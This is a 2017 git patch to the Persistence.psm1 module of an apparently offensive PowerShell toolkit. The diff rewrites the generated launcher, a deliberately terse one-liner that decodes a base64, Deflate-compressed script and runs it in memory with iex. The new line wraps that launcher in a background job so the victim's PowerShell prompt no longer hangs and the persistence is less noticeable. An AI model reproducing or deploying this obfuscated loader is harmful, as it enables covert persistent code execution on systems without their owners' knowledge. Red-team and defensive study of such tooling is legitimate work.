From 8bd6248c320d972e5cad2006bbcea6e0da3feaa3 Mon Sep 17 00:00:00 2001 From: david Date: Tue, 21 Mar 2017 22:18:02 -0400 Subject: [PATCH] Fixed issue where powershell prompt would hang if user opened powershell while certain persistence mechanisms were in place. Payload now executes in the background --- Persistence/Persistence.psm1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 7e4bbb9..7ccc1dc 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -559,7 +559,8 @@ http://www.exploit-monday.com # Generate the code that will decompress and execute the payload. # This code is intentionally ugly to save space. - $NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()' + $NewScript = 'start-job -scriptblock {sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()} | Out-Null' + #endregion